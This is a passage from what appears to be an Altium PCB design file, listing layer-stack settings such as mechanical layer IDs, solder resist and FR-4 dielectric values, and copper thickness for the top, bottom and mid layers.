14|V9_CACHE_LAYER82_LAYERID=16908302|V9_CACHE_LAYER82_USEDBYPRIMS=FALSE|V9_CACHE_LAYER82_MECHENABLED=FALSE|V9_CACHE_LAYER83_ID={2485AD6A-6A77-417C-BFDE-596431B32B66}|V9_CACHE_LAYER83_NAME=Mechanical 15|V9_CACHE_LAYER83_LAYERID=16908303|V9_CACHE_LAYER83_USEDBYPRIMS=TRUE|V9_CACHE_LAYER83_MECHENABLED=TRUE|V9_CACHE_LAYER84_ID={292A3AEC-A458-4AEF-8B19-445BA925A512}|V9_CACHE_LAYER84_NAME=Mechanical 16|V9_CACHE_LAYER84_LAYERID=16908304|V9_CACHE_LAYER84_USEDBYPRIMS=FALSE|V9_CACHE_LAYER84_MECHENABLED=FALSE|V9_CACHE_LAYER85_ID={FEC438AE-3685-4F17-ABF2-1D3E72C4D493}|V9_CACHE_LAYER85_NAME=Drill Drawing|V9_CACHE_LAYER85_LAYERID=16973838|V9_CACHE_LAYER85_USEDBYPRIMS=FALSE|V9_CACHE_LAYER86_ID={A259A2C4-CFE6-4916-B6BF-86782F7FBF0D}|V9_CACHE_LAYER86_NAME=Mechanical 17|V9_CACHE_LAYER86_LAYERID=16908305|V9_CACHE_LAYER86_USEDBYPRIMS=FALSE|V9_CACHE_LAYER86_MECHENABLED=FALSE|V9_CACHE_LAYER87_ID={E2B36080-7BF6-43BD-B981-3003010A9609}|V9_CACHE_LAYER87_NAME=Mechanical 18|V9_CACHE_LAYER87_LAYERID=16908306|V9_CACHE_LAYER87_USEDBYPRIMS=FALSE|V9_CACHE_LAYER87_MECHENABLED=FALSE|V9_CACHE_LAYER88_ID={81316F7E-F321-47C1-8971-42E883E9CB0E}|V9_CACHE_LAYER88_NAME=Mechanical 19|V9_CACHE_LAYER88_LAYERID=16908307|V9_CACHE_LAYER88_USEDBYPRIMS=FALSE|V9_CACHE_LAYER88_MECHENABLED=FALSE|V9_CACHE_LAYER89_ID={14AAB5F6-7C80-4362-A21F-B9C1FDFDDB22}|V9_CACHE_LAYER89_NAME=Mechanical 20|V9_CACHE_LAYER89_LAYERID=16908308|V9_CACHE_LAYER89_USEDBYPRIMS=FALSE|V9_CACHE_LAYER89_MECHENABLED=FALSE|V9_CACHE_LAYER90_ID={CBCFC311-5586-4364-A18D-90F11394123B}|V9_CACHE_LAYER90_NAME=Mechanical 21|V9_CACHE_LAYER90_LAYERID=16908309|V9_CACHE_LAYER90_USEDBYPRIMS=FALSE|V9_CACHE_LAYER90_MECHENABLED=FALSE|V9_CACHE_LAYER91_ID={3AB1D3B0-DB36-4BB9-A00A-5F67A876CFE3}|V9_CACHE_LAYER91_NAME=Mechanical 22|V9_CACHE_LAYER91_LAYERID=16908310|V9_CACHE_LAYER91_USEDBYPRIMS=FALSE|V9_CACHE_LAYER91_MECHENABLED=FALSE|V9_CACHE_LAYER92_ID={B81DDB01-F6EB-4079-B0E5-DAD27690619B}|V9_CACHE_LAYER92_NAME=Mechanical 23|V9_CACHE_LAYER92_LAYERID=16908311|V9_CACHE_LAYER92_USEDBYPRIMS=FALSE|V9_CACHE_LAYER92_MECHENABLED=FALSE|V9_CACHE_LAYER93_ID={FCA2D964-A0F8-46D8-8124-E558605ABA9E}|V9_CACHE_LAYER93_NAME=Mechanical 24|V9_CACHE_LAYER93_LAYERID=16908312|V9_CACHE_LAYER93_USEDBYPRIMS=FALSE|V9_CACHE_LAYER93_MECHENABLED=FALSE|V9_CACHE_LAYER94_ID={5E506687-FC3C-4DE6-B88B-A3AD6F4A7C70}|V9_CACHE_LAYER94_NAME=Mechanical 25|V9_CACHE_LAYER94_LAYERID=16908313|V9_CACHE_LAYER94_USEDBYPRIMS=FALSE|V9_CACHE_LAYER94_MECHENABLED=FALSE|V9_CACHE_LAYER95_ID={7A2D3E4C-73EC-4B78-B93C-3A82F6444428}|V9_CACHE_LAYER95_NAME=Mechanical 26|V9_CACHE_LAYER95_LAYERID=16908314|V9_CACHE_LAYER95_USEDBYPRIMS=FALSE|V9_CACHE_LAYER95_MECHENABLED=FALSE|V9_CACHE_LAYER96_ID={A8684D33-2E09-4325-A74B-B3C7708452A2}|V9_CACHE_LAYER96_NAME=Mechanical 27|V9_CACHE_LAYER96_LAYERID=16908315|V9_CACHE_LAYER96_USEDBYPRIMS=FALSE|V9_CACHE_LAYER96_MECHENABLED=FALSE|V9_CACHE_LAYER97_ID={AEFE1341-A326-4186-AF5A-79C7FC4802D2}|V9_CACHE_LAYER97_NAME=Mechanical 28|V9_CACHE_LAYER97_LAYERID=16908316|V9_CACHE_LAYER97_USEDBYPRIMS=FALSE|V9_CACHE_LAYER97_MECHENABLED=FALSE|V9_CACHE_LAYER98_ID={B3553CDF-2E18-443D-AE48-05FAB1548F17}|V9_CACHE_LAYER98_NAME=Mechanical 29|V9_CACHE_LAYER98_LAYERID=16908317|V9_CACHE_LAYER98_USEDBYPRIMS=FALSE|V9_CACHE_LAYER98_MECHENABLED=FALSE|V9_CACHE_LAYER99_ID={FC5D7C46-5B81-44F2-8E7D-AE60AB3C000C}|V9_CACHE_LAYER99_NAME=Mechanical 30|V9_CACHE_LAYER99_LAYERID=16908318|V9_CACHE_LAYER99_USEDBYPRIMS=FALSE|V9_CACHE_LAYER99_MECHENABLED=FALSE|V9_CACHE_LAYER100_ID={2BC814E1-7C2A-433B-9B66-3D6C1B322A8B}|V9_CACHE_LAYER100_NAME=Mechanical 31|V9_CACHE_LAYER100_LAYERID=16908319|V9_CACHE_LAYER100_USEDBYPRIMS=FALSE|V9_CACHE_LAYER100_MECHENABLED=FALSE|V9_CACHE_LAYER101_ID={CE42239C-12F1-42E8-96E1-4549C21CFF9B}|V9_CACHE_LAYER101_NAME=Mechanical 32|V9_CACHE_LAYER101_LAYERID=16908320|V9_CACHE_LAYER101_USEDBYPRIMS=FALSE|V9_CACHE_LAYER101_MECHENABLED=FALSE|LAYERMASTERSTACK_V8STYLE=0|LAYERMASTERSTACK_V8ID={6C6A7AEE-860E-42B8-A7B0-5A4F746E66B0}|LAYERMASTERSTACK_V8NAME=Master layer stack|LAYERMASTERSTACK_V8SHOWTOPDIELECTRIC=FALSE|LAYERMASTERSTACK_V8SHOWBOTTOMDIELECTRIC=FALSE|LAYERMASTERSTACK_V8ISFLEX=FALSE|LAYERSUBSTACK_V8_0ID={133D6234-F010-46C7-B390-43FBDD454A88}|LAYERSUBSTACK_V8_0NAME=Board Layer Stack|LAYERSUBSTACK_V8_0SHOWTOPDIELECTRIC=FALSE|LAYERSUBSTACK_V8_0SHOWBOTTOMDIELECTRIC=FALSE|LAYERSUBSTACK_V8_0ISFLEX=FALSE|LAYERSUBSTACK_V8_0SERVICE=FALSE|LAYERSUBSTACK_V8_0USEDBYPRIMS=FALSE|LAYERSUBSTACK_V8_0TYPE=1|LAYER_V8_0_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_0_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_0ID={30045540-1B4B-4001-AB64-318F70B47D5C}|LAYER_V8_0NAME=Top Paste|LAYER_V8_0LAYERID=16973832|LAYER_V8_0USEDBYPRIMS=FALSE|LAYER_V8_1_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_1_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_1ID={F22BABF4-3864-4478-9E30-F3A5F449D148}|LAYER_V8_1NAME=Top Overlay|LAYER_V8_1LAYERID=16973830|LAYER_V8_1USEDBYPRIMS=TRUE|LAYER_V8_2_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_2_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_2ID={5A303FD1-9A68-46E1-8805-901769ECECC7}|LAYER_V8_2NAME=Top Solder|LAYER_V8_2LAYERID=16973834|LAYER_V8_2USEDBYPRIMS=FALSE|LAYER_V8_2DIELTYPE=3|LAYER_V8_2DIELCONST=3.500|LAYER_V8_2DIELHEIGHT=0.4mil|LAYER_V8_2DIELMATERIAL=Solder Resist|LAYER_V8_2COVERLAY_EXPANSION=0mil|LAYER_V8_3_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_3_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_3ID={999DF18F-9048-469A-90BE-9E37DD83557B}|LAYER_V8_3NAME=Top Layer|LAYER_V8_3LAYERID=16777217|LAYER_V8_3USEDBYPRIMS=TRUE|LAYER_V8_3COPTHICK=1.4mil|LAYER_V8_3COMPONENTPLACEMENT=1|LAYER_V8_4_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_4_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_4ID={02BF3CDA-3C8F-4FAD-9742-9D994AE02F07}|LAYER_V8_4NAME=Dielectric 1|LAYER_V8_4LAYERID=17039361|LAYER_V8_4USEDBYPRIMS=FALSE|LAYER_V8_4DIELTYPE=0|LAYER_V8_4DIELCONST=4.800|LAYER_V8_4DIELHEIGHT=12.6mil|LAYER_V8_4DIELMATERIAL=FR-4|LAYER_V8_5_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_5_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_5ID={9A0521B6-9E50-4E7C-A183-D2BA2C61636A}|LAYER_V8_5NAME=Bottom Layer|LAYER_V8_5LAYERID=16842751|LAYER_V8_5USEDBYPRIMS=TRUE|LAYER_V8_5COPTHICK=1.4mil|LAYER_V8_5COMPONENTPLACEMENT=2|LAYER_V8_6_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_6_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_6ID={6089F658-C6F8-45EF-ADE9-00844D259BA3}|LAYER_V8_6NAME=Bottom Solder|LAYER_V8_6LAYERID=16973835|LAYER_V8_6USEDBYPRIMS=FALSE|LAYER_V8_6DIELTYPE=3|LAYER_V8_6DIELCONST=3.500|LAYER_V8_6DIELHEIGHT=0.4mil|LAYER_V8_6DIELMATERIAL=Solder Resist|LAYER_V8_6COVERLAY_EXPANSION=0mil|LAYER_V8_7_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_7_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_7ID={F336B23E-1435-4733-9ED3-34BDF2531FBF}|LAYER_V8_7NAME=Bottom Overlay|LAYER_V8_7LAYERID=16973831|LAYER_V8_7USEDBYPRIMS=FALSE|LAYER_V8_8_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|LAYER_V8_8_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|LAYER_V8_8ID={70A911C0-2DEF-47D0-84F8-E68892450F49}|LAYER_V8_8NAME=Bottom Paste|LAYER_V8_8LAYERID=16973833|LAYER_V8_8USEDBYPRIMS=FALSE|LAYER_V8_9ID={E8290CA5-BEA0-4E83-96B1-23D20EA02F85}|LAYER_V8_9NAME=Drill Guide|LAYER_V8_9LAYERID=16973836|LAYER_V8_9USEDBYPRIMS=FALSE|LAYER_V8_10ID={08621FAB-15B4-4F84-BEAC-BA151C1F4B72}|LAYER_V8_10NAME=Keep-Out Layer|LAYER_V8_10LAYERID=16973837|LAYER_V8_10USEDBYPRIMS=FALSE|LAYER_V8_11ID={3864CBAF-735C-4B7A-BAE9-487907FA8A74}|LAYER_V8_11NAME=Mechanical 1|LAYER_V8_11LAYERID=16908289|LAYER_V8_11USEDBYPRIMS=TRUE|LAYER_V8_11MECHENABLED=TRUE|LAYER_V8_12ID={EB226783-9634-4E34-AC70-BAC099967C4F}|LAYER_V8_12NAME=Mechanical 2|LAYER_V8_12LAYERID=16908290|LAYER_V8_12USEDBYPRIMS=FALSE|LAYER_V8_12MECHENABLED=FALSE|LAYER_V8_13ID={CBEE9FFA-3088-4BDC-A77F-7B88E5C3E621}|LAYER_V8_13NAME=Mechanical 3|LAYER_V8_13LAYERID=16908291|LAYER_V8_13USEDBYPRIMS=FALSE|LAYER_V8_13MECHENABLED=FALSE|LAYER_V8_14ID={B104DC7E-B5C6-49F4-A7E6-CF3DDD388A50}|LAYER_V8_14NAME=Mechanical 4|LAYER_V8_14LAYERID=16908292|LAYER_V8_14USEDBYPRIMS=FALSE|LAYER_V8_14MECHENABLED=FALSE|LAYER_V8_15ID={DA40F3B6-1EDC-43A1-B63B-AF6F4DF3BBA6}|LAYER_V8_15NAME=Mechanical 5|LAYER_V8_15LAYERID=16908293|LAYER_V8_15USEDBYPRIMS=FALSE|LAYER_V8_15MECHENABLED=FALSE|LAYER_V8_16ID={FAE5DF52-1C9B-429C-BB7E-87A7DCA71801}|LAYER_V8_16NAME=Mechanical 6|LAYER_V8_16LAYERID=16908294|LAYER_V8_16USEDBYPRIMS=FALSE|LAYER_V8_16MECHENABLED=FALSE|LAYER_V8_17ID={697553D7-17A5-49BD-8D18-D2B57BB66E97}|LAYER_V8_17NAME=Mechanical 7|LAYER_V8_17LAYERID=16908295|LAYER_V8_17USEDBYPRIMS=FALSE|LAYER_V8_17MECHENABLED=FALSE|LAYER_V8_18ID={4E6BD0D0-D9F9-4353-A728-FF9E229BEFAC}|LAYER_V8_18NAME=Mechanical 8|LAYER_V8_18LAYERID=16908296|LAYER_V8_18USEDBYPRIMS=FALSE|LAYER_V8_18MECHENABLED=FALSE|LAYER_V8_19ID={0E025A02-9809-459D-B658-102C695DC543}|LAYER_V8_19NAME=Mechanical 9|LAYER_V8_19LAYERID=16908297|LAYER_V8_19USEDBYPRIMS=FALSE|LAYER_V8_19MECHENABLED=FALSE|LAYER_V8_20ID={883646CA-70D8-49E7-AF54-51157F0FE954}|LAYER_V8_20NAME=Mechanical 10|LAYER_V8_20LAYERID=16908298|LAYER_V8_20USEDBYPRIMS=FALSE|LAYER_V8_20MECHENABLED=FALSE|LAYER_V8_21ID={CBE638A4-2687-4B18-8847-B98D06CDCC62}|LAYER_V8_21NAME=Mechanical 11|LAYER_V8_21LAYERID=16908299|LAYER_V8_21USEDBYPRIMS=FALSE|LAYER_V8_21MECHENABLED=FALSE|LAYER_V8_22ID={6DAFEEC7-8500-40F6-B6E3-02516FE2CAAE}|LAYER_V8_22NAME=Mechanical 12|LAYER_V8_22LAYERID=16908300|LAYER_V8_22USEDBYPRIMS=FALSE|LAYER_V8_22MECHENABLED=FALSE|LAYER_V8_23ID={EB37C7B0-0986-4DF6-9870-6AA3F7163DA3}|LAYER_V8_23NAME=Mechanical 13|LAYER_V8_23LAYERID=16908301|LAYER_V8_23USEDBYPRIMS=FALSE|LAYER_V8_23MECHENABLED=FALSE|LAYER_V8_24ID={05571D47-8A5D-432F-A1A8-CFE9C0ACE74D}|LAYER_V8_24NAME=Mechanical 14|LAYER_V8_24LAYERID=16908302|LAYER_V8_24USEDBYPRIMS=FALSE|LAYER_V8_24MECHENABLED=FALSE|LAYER_V8_25ID={2485AD6A-6A77-417C-BFDE-596431B32B66}|LAYER_V8_25NAME=Mechanical 15|LAYER_V8_25LAYERID=16908303|LAYER_V8_25USEDBYPRIMS=TRUE|LAYER_V8_25MECHENABLED=TRUE|LAYER_V8_26ID={292A3AEC-A458-4AEF-8B19-445BA925A512}|LAYER_V8_26NAME=Mechanical 16|LAYER_V8_26LAYERID=16908304|LAYER_V8_26USEDBYPRIMS=FALSE|LAYER_V8_26MECHENABLED=FALSE|LAYER_V8_27ID={FEC438AE-3685-4F17-ABF2-1D3E72C4D493}|LAYER_V8_27NAME=Drill Drawing|LAYER_V8_27LAYERID=16973838|LAYER_V8_27USEDBYPRIMS=FALSE|LAYER_V8_28ID={5BD60229-8864-48D1-A8EB-95399348CB16}|LAYER_V8_28NAME=Multi-Layer|LAYER_V8_28LAYERID=16973839|LAYER_V8_28USEDBYPRIMS=TRUE|LAYER_V8_29ID={8070A95E-9307-4315-AEB7-3279CE2E13B1}|LAYER_V8_29NAME=Connections|LAYER_V8_29LAYERID=16973840|LAYER_V8_29USEDBYPRIMS=FALSE|LAYER_V8_30ID={7EB5AEF4-1A76-41D4-9E03-30A4837CD13B}|LAYER_V8_30NAME=Background|LAYER_V8_30LAYERID=16973841|LAYER_V8_30USEDBYPRIMS=FALSE|LAYER_V8_31ID={8102A625-DB52-4B32-89F5-EBC69CA6A514}|LAYER_V8_31NAME=DRC Error Markers|LAYER_V8_31LAYERID=16973842|LAYER_V8_31USEDBYPRIMS=TRUE|LAYER_V8_32ID={AA18D623-7F09-4267-BB86-AB16641CF2C7}|LAYER_V8_32NAME=Selections|LAYER_V8_32LAYERID=16973843|LAYER_V8_32USEDBYPRIMS=FALSE|LAYER_V8_33ID={C29197C8-F94E-4FA2-9DF0-092BF0692FD2}|LAYER_V8_33NAME=Visible Grid 1|LAYER_V8_33LAYERID=16973844|LAYER_V8_33USEDBYPRIMS=FALSE|LAYER_V8_34ID={CBB6B9C8-7C09-4943-BDF2-93A59B98F4D9}|LAYER_V8_34NAME=Visible Grid 2|LAYER_V8_34LAYERID=16973845|LAYER_V8_34USEDBYPRIMS=FALSE|LAYER_V8_35ID={DA4EDDDD-E049-49D0-BC05-78F97F6745B8}|LAYER_V8_35NAME=Pad Holes|LAYER_V8_35LAYERID=16973846|LAYER_V8_35USEDBYPRIMS=FALSE|LAYER_V8_36ID={A1D1422F-3445-48C1-AC9E-19016BB49E01}|LAYER_V8_36NAME=Via Holes|LAYER_V8_36LAYERID=16973847|LAYER_V8_36USEDBYPRIMS=FALSE|LAYER_V8_37ID={BD19B618-ECCD-4B7D-9162-6DD6573F7C3A}|LAYER_V8_37NAME=Top Pad Master|LAYER_V8_37LAYERID=16973848|LAYER_V8_37USEDBYPRIMS=FALSE|LAYER_V8_38ID={8FDE5189-A9FB-4D7C-9FC7-48B4DD5C87EE}|LAYER_V8_38NAME=Bottom Pad Master|LAYER_V8_38LAYERID=16973849|LAYER_V8_38USEDBYPRIMS=FALSE|LAYER_V8_39ID={206DC379-9404-4C98-9A1A-8266C349DD4D}|LAYER_V8_39NAME=DRC Detail Markers|LAYER_V8_39LAYERID=16973850|LAYER_V8_39USEDBYPRIMS=FALSE|LAYER_V8_40ID={A259A2C4-CFE6-4916-B6BF-86782F7FBF0D}|LAYER_V8_40NAME=Mechanical 17|LAYER_V8_40LAYERID=16908305|LAYER_V8_40USEDBYPRIMS=FALSE|LAYER_V8_40MECHENABLED=FALSE|LAYER_V8_41ID={E2B36080-7BF6-43BD-B981-3003010A9609}|LAYER_V8_41NAME=Mechanical 18|LAYER_V8_41LAYERID=16908306|LAYER_V8_41USEDBYPRIMS=FALSE|LAYER_V8_41MECHENABLED=FALSE|LAYER_V8_42ID={81316F7E-F321-47C1-8971-42E883E9CB0E}|LAYER_V8_42NAME=Mechanical 19|LAYER_V8_42LAYERID=16908307|LAYER_V8_42USEDBYPRIMS=FALSE|LAYER_V8_42MECHENABLED=FALSE|LAYER_V8_43ID={14AAB5F6-7C80-4362-A21F-B9C1FDFDDB22}|LAYER_V8_43NAME=Mechanical 20|LAYER_V8_43LAYERID=16908308|LAYER_V8_43USEDBYPRIMS=FALSE|LAYER_V8_43MECHENABLED=FALSE|LAYER_V8_44ID={CBCFC311-5586-4364-A18D-90F11394123B}|LAYER_V8_44NAME=Mechanical 21|LAYER_V8_44LAYERID=16908309|LAYER_V8_44USEDBYPRIMS=FALSE|LAYER_V8_44MECHENABLED=FALSE|LAYER_V8_45ID={3AB1D3B0-DB36-4BB9-A00A-5F67A876CFE3}|LAYER_V8_45NAME=Mechanical 22|LAYER_V8_45LAYERID=16908310|LAYER_V8_45USEDBYPRIMS=FALSE|LAYER_V8_45MECHENABLED=FALSE|LAYER_V8_46ID={B81DDB01-F6EB-4079-B0E5-DAD27690619B}|LAYER_V8_46NAME=Mechanical 23|LAYER_V8_46LAYERID=16908311|LAYER_V8_46USEDBYPRIMS=FALSE|LAYER_V8_46MECHENABLED=FALSE|LAYER_V8_47ID={FCA2D964-A0F8-46D8-8124-E558605ABA9E}|LAYER_V8_47NAME=Mechanical 24|LAYER_V8_47LAYERID=16908312|LAYER_V8_47USEDBYPRIMS=FALSE|LAYER_V8_47MECHENABLED=FALSE|LAYER_V8_48ID={5E506687-FC3C-4DE6-B88B-A3AD6F4A7C70}|LAYER_V8_48NAME=Mechanical 25|LAYER_V8_48LAYERID=16908313|LAYER_V8_48USEDBYPRIMS=FALSE|LAYER_V8_48MECHENABLED=FALSE|LAYER_V8_49ID={7A2D3E4C-73EC-4B78-B93C-3A82F6444428}|LAYER_V8_49NAME=Mechanical 26|LAYER_V8_49LAYERID=16908314|LAYER_V8_49USEDBYPRIMS=FALSE|LAYER_V8_49MECHENABLED=FALSE|LAYER_V8_50ID={A8684D33-2E09-4325-A74B-B3C7708452A2}|LAYER_V8_50NAME=Mechanical 27|LAYER_V8_50LAYERID=16908315|LAYER_V8_50USEDBYPRIMS=FALSE|LAYER_V8_50MECHENABLED=FALSE|LAYER_V8_51ID={AEFE1341-A326-4186-AF5A-79C7FC4802D2}|LAYER_V8_51NAME=Mechanical 28|LAYER_V8_51LAYERID=16908316|LAYER_V8_51USEDBYPRIMS=FALSE|LAYER_V8_51MECHENABLED=FALSE|LAYER_V8_52ID={B3553CDF-2E18-443D-AE48-05FAB1548F17}|LAYER_V8_52NAME=Mechanical 29|LAYER_V8_52LAYERID=16908317|LAYER_V8_52USEDBYPRIMS=FALSE|LAYER_V8_52MECHENABLED=FALSE|LAYER_V8_53ID={FC5D7C46-5B81-44F2-8E7D-AE60AB3C000C}|LAYER_V8_53NAME=Mechanical 30|LAYER_V8_53LAYERID=16908318|LAYER_V8_53USEDBYPRIMS=FALSE|LAYER_V8_53MECHENABLED=FALSE|LAYER_V8_54ID={2BC814E1-7C2A-433B-9B66-3D6C1B322A8B}|LAYER_V8_54NAME=Mechanical 31|LAYER_V8_54LAYERID=16908319|LAYER_V8_54USEDBYPRIMS=FALSE|LAYER_V8_54MECHENABLED=FALSE|LAYER_V8_55ID={CE42239C-12F1-42E8-96E1-4549C21CFF9B}|LAYER_V8_55NAME=Mechanical 32|LAYER_V8_55LAYERID=16908320|LAYER_V8_55USEDBYPRIMS=FALSE|LAYER_V8_55MECHENABLED=FALSE|TOPTYPE=3|TOPCONST=3.500|TOPHEIGHT=0.4mil|TOPMATERIAL=Solder Resist|BOTTOMTYPE=3|BOTTOMCONST=3.500|BOTTOMHEIGHT=0.4mil|BOTTOMMATERIAL=Solder Resist|LAYERSTACKSTYLE=0|SHOWTOPDIELECTRIC=FALSE|SHOWBOTTOMDIELECTRIC=FALSE|LAYER1NAME=Top Layer|LAYER1PREV=0|LAYER1NEXT=32|LAYER1MECHENABLED=FALSE|LAYER1COPTHICK=1.4mil|LAYER1DIELTYPE=0|LAYER1DIELCONST=4.800|LAYER1DIELHEIGHT=12.6mil|LAYER1DIELMATERIAL=FR-4|LAYER2NAME=Mid-Layer 1|LAYER2PREV=0|LAYER2NEXT=0|LAYER2MECHENABLED=FALSE|LAYER2COPTHICK=1.4mil|LAYER2DIELTYPE=0|LAYER2DIELCONST=4.800|LAYER2DIELHEIGHT=12.6mil|LAYER2DIELMATERIAL=FR-4|LAYER3NAME=Mid-Layer 2|LAYER3PREV=0|LAYER3NEXT=0|LAYER3MECHENABLED=FALSE|LAYER3COPTHICK=1.4mil|LAYER3DIELTYPE=0|LAYER3DIELCONST=4.800|LAYER3DIELHEIGHT=12.6mil|LAYER3DIELMATERIAL=FR-4|LAYER4NAME=Mid-Layer 3|LAYER4PREV=0|LAYER4NEXT=0|LAYER4MECHENABLED=FALSE|LAYER4COPTHICK=1.4mil|LAYER4DIELTYPE=0|LAYER4DIELCONST=4.800|LAYER4DIELHEIGHT=12.6mil|LAYER4DIELMATERIAL=FR-4|LAYER5NAME=Mid-Layer 4|LAYER5PREV=0|LAYER5NEXT=0|LAYER5MECHENABLED=FALSE|LAYER5COPTHICK=1.4mil|LAYER5DIELTYPE=0|LAYER5DIELCONST=4.800|LAYER5DIELHEIGHT=12.6mil|LAYER5DIELMATERIAL=FR-4
|RECORD=Board|LAYER6NAME=Mid-Layer 5|LAYER6PREV=0|LAYER6NEXT=0|LAYER6MECHENABLED=FALSE|LAYER6COPTHICK=1.4mil|LAYER6DIELTYPE=0|LAYER6DIELCONST=4.800|LAYER6DIELHEIGHT=12.6mil|LAYER6DIELMATERIAL=FR-4|LAYER7NAME=Mid-Layer 6|LAYER7PREV=0|LAYER7NEXT=0|LAYER7MECHENABLED=FALSE|LAYER7COPTHICK=1.4mil|LAYER7DIELTYPE=0|LAYER7DIELCONST=4.800|LAYER7DIELHEIGHT=12.6mil|LAYER7DIELMATERIAL=FR-4|LAYER8NAME=Mid-Layer 7|LAYER8PREV=0|LAYER8NEXT=0|LAYER8MECHENABLED=FALSE|LAYER8COPTHICK=1.4mil|LAYER8DIELTYPE=0|LAYER8DIELCONST=4.800|LAYER8DIELHEIGHT=12.6mil|LAYER8DIELMATERIAL=FR-4|LAYER9NAME=Mid-Layer 8|LAYER9PREV=0|LAYER9NEXT=0|LAYER9MECHENABLED=FALSE|LAYER9COPTHICK=1.4mil|LAYER9DIELTYPE=0|LAYER9DIELCONST=4.800|LAYER9DIELHEIGHT=12.6mil|LAYER9DIELMATERIAL=FR-4|LAYER10NAME=Mid-Layer 9|LAYER10PREV=0|LAYER10NEXT=0|LAYER10MECHENABLED=FALSE|LAYER10COPTHICK=1.4mil|LAYER10DIELTYPE=0|LAYER10DIELCONST=4.800|LAYER10DIELHEIGHT=12.6mil|LAYER10DIELMATERIAL=FR-4
|RECORD=Board|LAYER11NAME=Mid-Layer 10|LAYER11PREV=0|LAYER11NEXT=0|LAYER11MECHENABLED=FALSE|LAYER11COPTHICK=1.4mil|LAYER11DIELTYPE=0|LAYER11DIELCONST=4.800|LAYER11DIELHEIGHT=12.6mil|LAYER11DIELMATERIAL=FR-4|LAYER12NAME=Mid-Layer 11|LAYER12PREV=0|LAYER12NEXT=0|LAYER12MECHENABLED=FALSE|LAYER12COPTHICK=1.4mil|LAYER12DIELTYPE=0|LAYER12DIELCONST=4.800|LAYER12DIELHEIGHT=12.6mil|LAYER12DIELMATERIAL=FR-4|LAYER13NAME=Mid-Layer 12|LAYER13PREV=0|LAYER13NEXT=0|LAYER13MECHENABLED=FALSE|LAYER13COPTHICK=1.4mil|LAYER13DIELTYPE=0|LAYER13DIELCONST=4.800|LAYER13DIELHEIGHT=12.6mil|LAYER13DIELMATERIAL=FR-4|LAYER14NAME=Mid-Layer 13|LAYER14PREV=0|LAYER14NEXT=0|LAYER14MECHENABLED=FALSE|LAYER14COPTHICK=1.4mil|LAYER14DIELTYPE=0|LAYER14DIELCONST=4.800|LAYER14DIELHEIGHT=12.6mil|LAYER14DIELMATERIAL=FR-4|LAYER15NAME=Mid-Layer 14|LAYER15PREV=0|LAYER15NEXT=0|LAYER15MECHENABLED=FALSE|LAYER15COPTHICK=1.4mil|LAYER15DIELTYPE=0|LAYER15DIELCONST=4.800|LAYER15DIELHEIGHT=12.6mil|LAYER15DIELMATERIAL=FR-4
|RECORD=Board|LAYER16NAME=Mid-Layer 15|LAYER16PREV=0|LAYER16NEXT=0|LAYER16MECHENABLED=FALSE|LAYER16COPTHICK=1.4mil|LAYER16DIELTYPE=0|LAYER16DIELCONST=4.800|LAYER16DIELHEIGHT=12.6mil|LAYER16DIELMATERIAL=FR-4|LAYER17NAME=Mid-Layer 16|LAYER17PREV=0|LAYER17NEXT=0|LAYER17MECHENABLED=FALSE|LAYER17COPTHICK=1.4mil|LAYER17DIELTYPE=0|LAYER17DIELCONST=4.800|LAYER17DIELHEIGHT=12.6mil|LAYER17DIELMATERIAL=FR-4|LAYER18NAME=Mid-Layer 17|LAYER18PREV=0|LAYER18NEXT=0|LAYER18MECHENABLED=FALSE|LAYER18COPTHICK=1.4mil|LAYER18DIELTYPE=0|LAYER18DIELCONST=4.800|LAYER18DIELHEIGHT=12.6mil|LAYER18DIELMATERIAL=FR-4|LAYER19NAME=Mid-Layer 18|LAYER19PREV=0|LAYER19NEXT=0|LAYER19MECHENABLED=FALSE|LAYER19COPTHICK=1.4mil|LAYER19DIELTYPE=0|LAYER19DIELCONST=4.800|LAYER19DIELHEIGHT=12.6mil|LAYER19DIELMATERIAL=FR-4|LAYER20NAME=Mid-Layer 19|LAYER20PREV=0|LAYER20NEXT=0|LAYER20MECHENABLED=FALSE|LAYER20COPTHICK=1.4mil|LAYER20DIELTYPE=0|LAYER20DIELCONST=4.800|LAYER20DIELHEIGHT=12.6mil|LAYER20DIELMATERIAL=FR-4
